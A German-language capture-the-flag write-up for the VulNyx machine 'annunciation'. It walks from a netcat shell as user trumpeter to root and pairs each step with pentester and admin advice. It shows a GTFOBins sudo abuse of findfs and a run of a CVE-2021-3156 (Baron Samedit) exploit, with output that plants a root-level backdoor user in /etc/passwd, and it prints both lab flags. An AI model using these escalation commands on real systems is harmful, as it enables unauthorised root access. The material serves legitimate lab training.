uid=1001(trumpeter) gid=1001(trumpeter) groups=1001(trumpeter)
Analyse: Der Netcat-Listener empfängt die Verbindung. Die Shell läuft als Benutzer `trumpeter`.
Bewertung: Erfolgreiche Eskalation von `apache` zu `trumpeter` durch Ausnutzung der Verzeichnisberechtigungen und des Skripts, das von `trumpeter` ausgeführt wird.
Empfehlung (Pentester): Führen Sie `sudo -l` als `trumpeter` aus.
Empfehlung (Admin): Berechtigungen und Prozesse überprüfen.
Matching Defaults entries for trumpeter on annunciation:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LD_LIBRARY_PATH LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User trumpeter may run the following commands on annunciation:
(root) NOPASSWD: /usr/sbin/findfs
Analyse: `sudo -l` für `trumpeter` zeigt, dass dieser `/usr/sbin/findfs` als `root` ohne Passwort ausführen darf.
Bewertung: Kritischer Fund! `findfs` kann laut GTFOBins zur Ausführung beliebiger Befehle als `root` missbraucht werden.
Empfehlung (Pentester): Verwenden Sie die GTFOBins-Methode für `findfs`: `sudo /usr/sbin/findfs /bin/sh` (oder `/bin/bash -p`).
Empfehlung (Admin): Gewähren Sie keine `sudo`-Rechte für solche Dateisystem-Tools ohne Passwort.
Sudo version 1.8.23 Sudoers policy plugin version 1.8.23 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.23
Analyse: Die Sudo-Version wird überprüft: 1.8.23.
Bewertung: Diese Sudo-Version ist anfällig für mehrere Privilege Escalation Schwachstellen, darunter CVE-2021-3156 (Baron Samedit), ein Heap-basierter Buffer Overflow.
Empfehlung (Pentester): Obwohl der `findfs`-Weg wahrscheinlich einfacher ist, könnte auch ein Exploit für CVE-2021-3156 verwendet werden, falls `findfs` nicht funktioniert. Im Log wird dieser Exploit-Weg gewählt.
Empfehlung (Admin): Sudo dringend aktualisieren!
Analyse: Der Angreifer entscheidet sich, die bekannte Sudo-Schwachstelle (vermutlich CVE-2021-3156, Baron Samedit) auszunutzen, anstatt den einfacheren `findfs`-Weg zu gehen. Ein Exploit-Skript (`hack.py`) wird heruntergeladen (Schritt nicht im Log gezeigt, aber impliziert) und ausgeführt.
Bewertung: Der Exploit nutzt einen Heap-Overflow in Sudo, um die `/etc/passwd`-Datei zu manipulieren und einen neuen Benutzer (`gg`) mit Root-Rechten (UID 0, GID 0) und einem bekannten Passwort (hier: `gg`) hinzuzufügen.
Empfehlung (Pentester): Führen Sie den Exploit aus, überprüfen Sie `/etc/passwd` und wechseln Sie dann mit `su gg` und dem Passwort `gg` zum neuen Root-Benutzer.
Empfehlung (Admin): Patchen Sie Sudo sofort! Überwachen Sie die Integrität kritischer Dateien wie `/etc/passwd`.
curr size: 0x1600 *** Error in `sudoedit': malloc(): memory corruption: 0x0000564a217c0690 *** ======= Backtrace: ========= [...] <-- Speicherfehler sind Teil des Exploits cmnd size: 0x1b10 offset to defaults: 0x20 offset to first userspec: 0x800 offset to userspec: 0x0 to skip finding offsets next time on this machine, run: hack.py 0x1b10 0x20 0x800 0x0 gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash <-- Benutzer wird hinzugefügt success at 2228
root:x:0:0:root:/root:/bin/bash [...] trumpeter:x:1001:1001::/home/trumpeter:/bin/bash gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash <-- Neuer Root-Benutzer
Analyse: Die `/etc/passwd`-Datei wird überprüft und bestätigt den neu hinzugefügten Benutzer `gg` mit Root-Rechten.
Bewertung: Exploit erfolgreich.
Password:<-- Passwort "gg" eingegeben
uid=0(root) gid=0(root) groups=0(root)
Analyse: Erfolgreicher Wechsel zum Benutzer `gg` mit dem Passwort `gg`. Der `id`-Befehl bestätigt Root-Rechte.
Bewertung: Privilege Escalation zu Root abgeschlossen.
Empfehlung (Pentester): Flags suchen.
Empfehlung (Admin): System kompromittiert.
root.txt
VulNyx{3c84b473492b03c0eaeaa749d4d53d52}
bash: locate: command not found
trumpeter
user.txt
VulNyx{4fd65522b14a83bd3c49f8cebdea42f6}
Analyse: Die Root-Flag wird aus `/root/root.txt` gelesen. Die User-Flag wird im Home-Verzeichnis von `trumpeter` gefunden und ausgelesen.
Bewertung: Beide Flags erfolgreich gefunden.